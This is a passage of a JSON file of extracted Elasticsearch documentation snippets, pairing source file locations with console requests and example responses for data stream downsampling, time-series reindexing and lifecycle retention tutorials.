{}}\n{\"@timestamp\":\"2022-06-21T15:45:50Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":124501,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":982546514},\"usage\":{\"bytes\":360035574,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1339884},\"rss\":{\"bytes\":381174},\"pagefaults\":178473,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:44:50Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":38907,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":862723768},\"usage\":{\"bytes\":379572388,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":431227},\"rss\":{\"bytes\":386580},\"pagefaults\":233166,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:44:40Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":86706,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":567160996},\"usage\":{\"bytes\":103266017,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1724908},\"rss\":{\"bytes\":105431},\"pagefaults\":233166,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:44:00Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":150069,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":639054643},\"usage\":{\"bytes\":265142477,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1786511},\"rss\":{\"bytes\":189235},\"pagefaults\":138172,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:42:40Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":82260,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":854735585},\"usage\":{\"bytes\":309798052,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":924058},\"rss\":{\"bytes\":110838},\"pagefaults\":259073,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:42:10Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":153404,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":279586406},\"usage\":{\"bytes\":214904955,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1047265},\"rss\":{\"bytes\":91914},\"pagefaults\":302252,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:40:20Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":125613,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":822782853},\"usage\":{\"bytes\":100475044,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":2109932},\"rss\":{\"bytes\":278446},\"pagefaults\":74843,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:40:10Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":100046,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":567160996},\"usage\":{\"bytes\":362826547,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":1986724},\"rss\":{\"bytes\":402801},\"pagefaults\":296495,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}\n{\"create\": {}}\n{\"@timestamp\":\"2022-06-21T15:38:30Z\",\"kubernetes\":{\"host\":\"gke-apps-0\",\"node\":\"gke-apps-0-0\",\"pod\":\"gke-apps-0-0-0\",\"container\":{\"cpu\":{\"usage\":{\"nanocores\":40018,\"core\":{\"ns\":12828317850},\"node\":{\"pct\":2.77905e-05},\"limit\":{\"pct\":2.77905e-05}}},\"memory\":{\"available\":{\"bytes\":1062428344},\"usage\":{\"bytes\":265142477,\"node\":{\"pct\":0.01770037710617187},\"limit\":{\"pct\":9.923134671484496e-05}},\"workingset\":{\"bytes\":2294743},\"rss\":{\"bytes\":340623},\"pagefaults\":224530,\"majorpagefaults\":0},\"start_time\":\"2021-03-30T07:59:06Z\",\"name\":\"container-name-44\"},\"namespace\":\"namespace26\"}}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":285},"digest":"02b6aa3e5652839f03de3a655854b897","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_search"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":294},"digest":"afa11ebb493ebbfd77acbbe50d2ce6db","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"tsid\": {\n \"terms\": {\n \"field\": \"_tsid\"\n },\n \"aggs\": {\n \"over_time\": {\n \"date_histogram\": {\n \"field\": \"@timestamp\",\n \"fixed_interval\": \"1d\"\n },\n \"aggs\": {\n \"min\": {\n \"min\": {\n \"field\": \"kubernetes.container.memory.usage.bytes\"\n }\n },\n \"max\": {\n \"max\": {\n \"field\": \"kubernetes.container.memory.usage.bytes\"\n }\n },\n \"avg\": {\n \"avg\": {\n \"field\": \"kubernetes.container.memory.usage.bytes\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":342},"digest":"3337c817ebd438254505a31e91c91724","lang":"console","found":["ruby"],"source":"GET /_data_stream/my-data-stream"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":350},"digest":"9f5e0f137f39f08042272338138cf54d","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"my-data-stream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-my-data-stream-2023.07.26-000001\", <1>\n \"index_uuid\": \"ltOJGmqgTVm4T-Buoe7Acg\",\n \"prefer_ilm\": true,\n \"managed_by\": \"Unmanaged\"\n }\n ],\n \"generation\": 1,\n \"status\": \"GREEN\",\n \"next_generation_managed_by\": \"Unmanaged\",\n \"prefer_ilm\": true,\n \"template\": \"my-data-stream-template\",\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false,\n \"time_series\": {\n \"temporal_ranges\": [\n {\n \"start\": \"2023-07-26T09:26:42.000Z\",\n \"end\": \"2023-07-26T13:26:42.000Z\"\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":401},"digest":"a1ccd51eef37e43c935a047b0ee15daa","lang":"console","found":["ruby"],"source":"POST /my-data-stream/_rollover/"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":412},"digest":"2c3207c0c985d253b2ecccc14e69e25a","lang":"console","found":["ruby"],"source":"PUT /.ds-my-data-stream-2023.07.26-000001/_block/write"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":421},"digest":"28543836b62b5622a402e6f7731d68f0","lang":"console","found":["ruby"],"source":"POST /.ds-my-data-stream-2023.07.26-000001/_downsample/.ds-my-data-stream-2023.07.26-000001-downsample\n{\n \"fixed_interval\": \"1h\"\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":433},"digest":"8634c9993485d622fb12d24f4f242264","lang":"console","found":[],"source":"POST _data_stream/_modify\n{\n \"actions\": [\n {\n \"remove_backing_index\": {\n \"data_stream\": \"my-data-stream\",\n \"index\": \".ds-my-data-stream-2023.07.26-000001\"\n }\n },\n {\n \"add_backing_index\": {\n \"data_stream\": \"my-data-stream\",\n \"index\": \".ds-my-data-stream-2023.07.26-000001-downsample\"\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":466},"digest":"02b6aa3e5652839f03de3a655854b897","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_search"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":477},"digest":"928dfcbdfb28fed65842466ba2b1788e","lang":"console-result","found":[],"source":"{\n \"took\": 2,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 4,\n \"successful\": 4,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1,\n \"hits\": [\n {\n \"_index\": \".ds-my-data-stream-2023.07.26-000001-downsample\",\n \"_id\": \"0eL0wC_4-45SnTNFAAABiZHbD4A\",\n \"_score\": 1,\n \"_source\": {\n \"@timestamp\": \"2023-07-26T11:00:00.000Z\",\n \"_doc_count\": 10,\n \"ingest_time\": \"2023-07-26T11:26:42.715Z\",\n \"kubernetes\": {\n \"container\": {\n \"cpu\": {\n \"usage\": {\n \"core\": {\n \"ns\": 12828317850\n },\n \"limit\": {\n \"pct\": 0.0000277905\n },\n \"nanocores\": {\n \"min\": 38907,\n \"max\": 153404,\n \"sum\": 992677,\n \"value_count\": 10\n },\n \"node\": {\n \"pct\": 0.0000277905\n }\n }\n },\n \"memory\": {\n \"available\": {\n \"bytes\": {\n \"min\": 279586406,\n \"max\": 1062428344,\n \"sum\": 7101494721,\n \"value_count\": 10\n }\n },\n \"majorpagefaults\": 0,\n \"pagefaults\": {\n \"min\": 74843,\n \"max\": 302252,\n \"sum\": 2061071,\n \"value_count\": 10\n },\n \"rss\": {\n \"bytes\": {\n \"min\": 91914,\n \"max\": 402801,\n \"sum\": 2389770,\n \"value_count\": 10\n }\n },\n \"usage\": {\n \"bytes\": {\n \"min\": 100475044,\n \"max\": 379572388,\n \"sum\": 2668170609,\n \"value_count\": 10\n },\n \"limit\": {\n \"pct\": 0.00009923134\n },\n \"node\": {\n \"pct\": 0.017700378\n }\n },\n \"workingset\": {\n \"bytes\": {\n \"min\": 431227,\n \"max\": 2294743,\n \"sum\": 14230488,\n \"value_count\": 10\n }\n }\n },\n \"name\": \"container-name-44\",\n \"start_time\": \"2021-03-30T07:59:06.000Z\"\n },\n \"host\": \"gke-apps-0\",\n \"namespace\": \"namespace26\",\n \"node\": \"gke-apps-0-0\",\n \"pod\": \"gke-apps-0-0-0\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"data-streams/downsampling-manual.asciidoc","line":591},"digest":"afa11ebb493ebbfd77acbbe50d2ce6db","lang":"console","found":["ruby"],"source":"GET /my-data-stream/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"tsid\": {\n \"terms\": {\n \"field\": \"_tsid\"\n },\n \"aggs\": {\n \"over_time\": {\n \"date_histogram\": {\n \"field\": \"@timestamp\",\n \"fixed_interval\": \"1d\"\n },\n \"aggs\": {\n \"min\": {\n \"min\": {\n \"field\": \"kubernetes.container.memory.usage.bytes\"\n }\n },\n \"max\": {\n \"max\": {\n \"field\": \"kubernetes.container.memory.usage.bytes\"\n }\n },\n \"avg\": {\n \"avg\": {\n \"field\": \"kubernetes.container.memory.usage.bytes\"\n }\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/tsds-reindex.asciidoc","line":44},"digest":"1c1f2a6a193d9e64c37242b2824b3031","lang":"console","found":["ruby"],"source":"POST /_component_template/source_template\n{\n \"template\": {\n \"settings\": {\n \"index\": {\n \"number_of_replicas\": 2,\n \"number_of_shards\": 2,\n \"mode\": \"time_series\",\n \"routing_path\": [ \"metricset\" ]\n }\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": { \"type\": \"date\" },\n \"metricset\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"k8s\": {\n \"properties\": {\n \"tx\": { \"type\": \"long\" },\n \"rx\": { \"type\": \"long\" }\n }\n }\n }\n }\n }\n}\n\nPOST /_index_template/1\n{\n \"index_patterns\": [\n \"k8s*\"\n ],\n \"composed_of\": [\n \"source_template\"\n ],\n \"data_stream\": {}\n}"}, {"source_location":{"file":"data-streams/tsds-reindex.asciidoc","line":90},"digest":"be3eba65a7b0a3aae9f4cc79cd8359d5","lang":"console-result","found":[],"source":"\n{\n \".ds-k8s-2023.09.01-000002\": {\n \"settings\": {\n \"index\": {\n \"mode\": \"time_series\",\n \"routing\": {\n \"allocation\": {\n \"include\": {\n \"_tier_preference\": \"data_hot\"\n }\n }\n },\n \"hidden\": \"true\",\n \"number_of_shards\": \"2\",\n \"time_series\": {\n \"end_time\": \"2023-09-01T14:00:00.000Z\",\n \"start_time\": \"2023-09-01T10:00:00.000Z\"\n },\n \"provided_name\": \".ds-k9s-2023.09.01-000002\",\n \"creation_date\": \"1694439857608\",\n \"number_of_replicas\": \"2\",\n \"routing_path\": [\n \"metricset\"\n ],\n ...\n }\n }\n },\n \".ds-k8s-2023.09.01-000001\": {\n \"settings\": {\n \"index\": {\n \"mode\": \"time_series\",\n \"routing\": {\n \"allocation\": {\n \"include\": {\n \"_tier_preference\": \"data_hot\"\n }\n }\n },\n \"hidden\": \"true\",\n \"number_of_shards\": \"2\",\n \"time_series\": {\n \"end_time\": \"2023-09-01T10:00:00.000Z\",\n \"start_time\": \"2023-09-01T06:00:00.000Z\"\n },\n \"provided_name\": \".ds-k9s-2023.09.01-000001\",\n \"creation_date\": \"1694439837126\",\n \"number_of_replicas\": \"2\",\n \"routing_path\": [\n \"metricset\"\n ],\n ...\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/tsds-reindex.asciidoc","line":168},"digest":"2fd458d37aab509fe2d970c0b6e2a10f","lang":"console","found":[],"source":"POST /_component_template/destination_template\n{\n \"template\": {\n \"settings\": {\n \"index\": {\n \"number_of_replicas\": 0,\n \"number_of_shards\": 4,\n \"mode\": \"time_series\",\n \"routing_path\": [ \"metricset\" ],\n \"time_series\": {\n \"end_time\": \"2023-09-01T14:00:00.000Z\",\n \"start_time\": \"2023-09-01T06:00:00.000Z\"\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": { \"type\": \"date\" },\n \"metricset\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"k8s\": {\n \"properties\": {\n \"tx\": { \"type\": \"long\" },\n \"rx\": { \"type\": \"long\" }\n }\n }\n }\n }\n }\n}\n\nPOST /_index_template/2\n{\n \"index_patterns\": [\n \"k8s*\"\n ],\n \"composed_of\": [\n \"destination_template\"\n ],\n \"data_stream\": {}\n}"}, {"source_location":{"file":"data-streams/tsds-reindex.asciidoc","line":222},"digest":"f7d3d367a3d8e8ff0eca426b6ea85252","lang":"console","found":["ruby"],"source":"POST /_reindex\n{\n \"source\": {\n \"index\": \"k8s\"\n },\n \"dest\": {\n \"index\": \"k9s\",\n \"op_type\": \"create\"\n }\n}"}, {"source_location":{"file":"data-streams/tsds-reindex.asciidoc","line":249},"digest":"e324ea1547635180c31c1adf77870ba2","lang":"console","found":["ruby"],"source":"POST /_component_template/destination_template\n{\n \"template\": {\n \"settings\": {\n \"index\": {\n \"number_of_replicas\": 2,\n \"number_of_shards\": 2,\n \"mode\": \"time_series\",\n \"routing_path\": [ \"metricset\" ]\n }\n },\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": { \"type\": \"date\" },\n \"metricset\": {\n \"type\": \"keyword\",\n \"time_series_dimension\": true\n },\n \"k8s\": {\n \"properties\": {\n \"tx\": { \"type\": \"long\" },\n \"rx\": { \"type\": \"long\" }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/tsds-reindex.asciidoc","line":284},"digest":"763ce1377c8dfa1ca6a042d8ee99f4f5","lang":"console","found":["ruby"],"source":"POST /k9s/_rollover/"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-new-data-stream.asciidoc","line":31},"digest":"451e7c29b2cf738cfc822f7c175bef56","lang":"console","found":["ruby"],"source":"PUT _index_template/my-index-template\n{\n \"index_patterns\": [\"my-data-stream*\"],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"lifecycle\": {\n \"data_retention\": \"7d\"\n }\n },\n \"_meta\": {\n \"description\": \"Template with data stream lifecycle\"\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-new-data-stream.asciidoc","line":58},"digest":"7741a04e7e621c528cd72848d875776d","lang":"console","found":["ruby"],"source":"PUT _data_stream/my-data-stream"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-new-data-stream.asciidoc","line":67},"digest":"14a1db30e13eb1d03cfd9710ca847ebb","lang":"console","found":["ruby"],"source":"PUT my-data-stream/_bulk\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:21:15.000Z\", \"message\": \"192.0.2.42 - - [06/May/2099:16:21:15 +0000] \\\"GET /images/bg.jpg HTTP/1.0\\\" 200 24736\" }\n{ \"create\":{ } }\n{ \"@timestamp\": \"2099-05-06T16:25:42.000Z\", \"message\": \"192.0.2.255 - - [06/May/2099:16:25:42 +0000] \\\"GET /favicon.ico HTTP/1.0\\\" 200 3638\" }"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-new-data-stream.asciidoc","line":84},"digest":"990c0d794ed6f05d1620b5d49f7aff6e","lang":"console","found":["ruby"],"source":"GET _data_stream/my-data-stream/_lifecycle"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-new-data-stream.asciidoc","line":92},"digest":"483970c211e47d4802590f6503a3fda3","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"my-data-stream\", <1>\n \"lifecycle\": {\n \"enabled\": true, <2>\n \"data_retention\": \"7d\", <3>\n \"effective_retention\": \"7d\", <4>\n \"retention_determined_by\": \"data_stream_configuration\" <5>\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-new-data-stream.asciidoc","line":119},"digest":"5865ca8d2bcd087ed5dbee33fafee57f","lang":"console","found":["ruby"],"source":"GET .ds-my-data-stream-*/_lifecycle/explain"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-new-data-stream.asciidoc","line":126},"digest":"25429d72a8f3674f86120dc6e7753f45","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \".ds-my-data-stream-2023.04.19-000001\": {\n \"index\": \".ds-my-data-stream-2023.04.19-000001\", <1>\n \"managed_by_lifecycle\": true, <2>\n \"index_creation_date_millis\": 1681918009501,\n \"time_since_index_creation\": \"1.6m\", <3>\n \"lifecycle\": { <4>\n \"enabled\": true,\n \"data_retention\": \"7d\",\n \"effective_retention\": \"7d\",\n \"retention_determined_by\": \"data_stream_configuration\"\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-existing-data-stream.asciidoc","line":21},"digest":"a5e6ccfb6019238e6db602373b9af147","lang":"console","found":["ruby"],"source":"PUT _data_stream/my-data-stream/_lifecycle\n{ } <1>"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-existing-data-stream.asciidoc","line":32},"digest":"1736545c8b5674f6d311f3277eb387f1","lang":"console","found":["ruby"],"source":"PUT _data_stream/my-data-stream/_lifecycle\n{\n \"data_retention\": \"30d\" <1>\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-existing-data-stream.asciidoc","line":46},"digest":"5865ca8d2bcd087ed5dbee33fafee57f","lang":"console","found":["ruby"],"source":"GET .ds-my-data-stream-*/_lifecycle/explain"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-existing-data-stream.asciidoc","line":54},"digest":"f370e3830f7bbdf73a3591fd60a64ba8","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \".ds-my-data-stream-2023.04.19-000002\": {\n \"index\": \".ds-my-data-stream-2023.04.19-000002\", <1>\n \"managed_by_lifecycle\": true, <2>\n \"index_creation_date_millis\": 1681919221417,\n \"time_since_index_creation\": \"6.85s\", <3>\n \"lifecycle\": {\n \"enabled\": true,\n \"data_retention\": \"30d\" <4>\n }\n },\n \".ds-my-data-stream-2023.04.17-000001\": {\n \"index\": \".ds-my-data-stream-2023.04.17-000001\", <5>\n \"managed_by_lifecycle\": true, <6>\n \"index_creation_date_millis\": 1681745209501,\n \"time_since_index_creation\": \"48d\", <7>\n \"rollover_date_millis\": 1681919221419,\n \"time_since_rollover\": \"6.84s\", <8>\n \"generation_time\": \"6.84s\", <9>\n \"lifecycle\": {\n \"enabled\": true,\n \"data_retention\": \"30d\",\n \"effective_retention\": \"30d\" <10>\n \"retention_determined_by\": \"data_stream_configuration\"\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-existing-data-stream.asciidoc","line":107},"digest":"6fe6c095c6995e0f2214f5f3bc85d74e","lang":"console","found":["ruby"],"source":"DELETE _data_stream/my-data-stream/_lifecycle"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-existing-data-stream.asciidoc","line":115},"digest":"5865ca8d2bcd087ed5dbee33fafee57f","lang":"console","found":["ruby"],"source":"GET .ds-my-data-stream-*/_lifecycle/explain"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-existing-data-stream.asciidoc","line":122},"digest":"4d936e3c6e96465f721d3d62b81a7b92","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \".ds-my-data-stream-2023.04.19-000002\": {\n \"index\": \".ds-my-data-stream-2023.04.19-000002\", <1>\n \"managed_by_lifecycle\": false <2>\n },\n \".ds-my-data-stream-2023.04.17-000001\": {\n \"index\": \".ds-my-data-stream-2023.04.19-000001\", <3>\n \"managed_by_lifecycle\": false <4>\n }\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-data-stream-retention.asciidoc","line":45},"digest":"990c0d794ed6f05d1620b5d49f7aff6e","lang":"console","found":["ruby"],"source":"GET _data_stream/my-data-stream/_lifecycle"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-data-stream-retention.asciidoc","line":52},"digest":"0de32538f0899d3352f942cb4efba245","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"my-data-stream\", <1>\n \"lifecycle\": {\n \"enabled\": true <2>\n }\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-data-stream-retention.asciidoc","line":104},"digest":"8f2875d976332cf5da8fb7764097a307","lang":"console","found":[],"source":"PUT _index_template/template\n{\n \"index_patterns\": [\"my-data-stream*\"],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"lifecycle\": {\n \"data_retention\": \"7d\"\n }\n },\n \"_meta\": {\n \"description\": \"Template with data stream lifecycle\"\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-data-stream-retention.asciidoc","line":123},"digest":"1736545c8b5674f6d311f3277eb387f1","lang":"console","found":["ruby"],"source":"PUT _data_stream/my-data-stream/_lifecycle\n{\n \"data_retention\": \"30d\" <1>\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-manage-data-stream-retention.asciidoc","line":136},"digest":"2599ec473daa0d012804370e98c4e57c","lang":"console","found":[],"source":"PUT _data_stream/_global_retention\n{\n \"default_retention\": \"7d\",\n \"max_retention\": \"90d\"\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":36},"digest":"1d9b695a17cffd910c496c9b03c75d6f","lang":"console","found":["ruby"],"source":"PUT _ilm/policy/pre-dsl-ilm-policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_primary_shard_size\": \"50gb\"\n }\n }\n },\n \"delete\": {\n \"min_age\": \"7d\",\n \"actions\": {\n \"delete\": {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":62},"digest":"d7a55a7c491e97079e429483085f1d58","lang":"console","found":["ruby"],"source":"PUT _index_template/dsl-data-stream-template\n{\n \"index_patterns\": [\"dsl-data-stream*\"],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"settings\": {\n \"index.lifecycle.name\": \"pre-dsl-ilm-policy\"\n }\n }\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":81},"digest":"8fec06a98d0151c1d717a01491d0b8f0","lang":"console","found":["ruby"],"source":"POST dsl-data-stream/_doc?\n{\n \"@timestamp\": \"2023-10-18T16:21:15.000Z\",\n \"message\": \"192.0.2.42 - - [06/May/2099:16:21:15 +0000] \\\"GET /images/bg.jpg HTTP/1.0\\\" 200 24736\"\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":91},"digest":"10f0c8fed98455c460c374b50ffbb204","lang":"console","found":["ruby"],"source":"POST dsl-data-stream/_rollover"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":100},"digest":"a6ccac9f80c5e5efdaab992f3a32d919","lang":"console","found":["ruby"],"source":"GET _data_stream/dsl-data-stream"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":109},"digest":"e14c92349f033a6a34f0b967e9d27dad","lang":"console-result","found":[],"source":"{\n \"data_streams\": [\n {\n \"name\": \"dsl-data-stream\",\n \"timestamp_field\": {\n \"name\": \"@timestamp\"\n },\n \"indices\": [\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000001\", <1>\n \"index_uuid\": \"xCEhwsp8Tey0-FLNFYVwSg\",\n \"prefer_ilm\": true, <2>\n \"ilm_policy\": \"pre-dsl-ilm-policy\", <3>\n \"managed_by\": \"Index Lifecycle Management\" <4>\n },\n {\n \"index_name\": \".ds-dsl-data-stream-2023.10.19-000002\",\n \"index_uuid\": \"PA_JquKGSiKcAKBA8DJ5gw\",\n \"prefer_ilm\": true,\n \"ilm_policy\": \"pre-dsl-ilm-policy\",\n \"managed_by\": \"Index Lifecycle Management\"\n }\n ],\n \"generation\": 2,\n \"status\": \"GREEN\",\n \"template\": \"dsl-data-stream-template\",\n \"next_generation_managed_by\": \"Index Lifecycle Management\", <5>\n \"prefer_ilm\": true, <6>\n \"ilm_policy\": \"pre-dsl-ilm-policy\", <7>\n \"hidden\": false,\n \"system\": false,\n \"allow_custom_routing\": false,\n \"replicated\": false,\n \"rollover_on_write\": false\n }\n ]\n}"}, {"source_location":{"file":"data-streams/lifecycle/tutorial-migrate-data-stream-from-ilm-to-dsl.asciidoc","line":194},"digest":"e40fb462494d0b3c469b03cc8dc65ee1","lang":"console","found":[],"source":"PUT _index_template/dsl-data-stream-template\n{\n \"index_patterns\": [\"dsl-data-stream*\"],\n \"data_stream\": { },\n \"priority\": 500,\n \"template\": {\n \"settings\": {\n \"index.lifecycle.name\": \"pre-dsl-ilm-policy\",\n \"index.lifecycle.prefer_ilm\": false <1>\n },\n \"lifecycle\": { <2>\n \"data_retention\": \"7d\" <3>\n }\n }\n}"}, 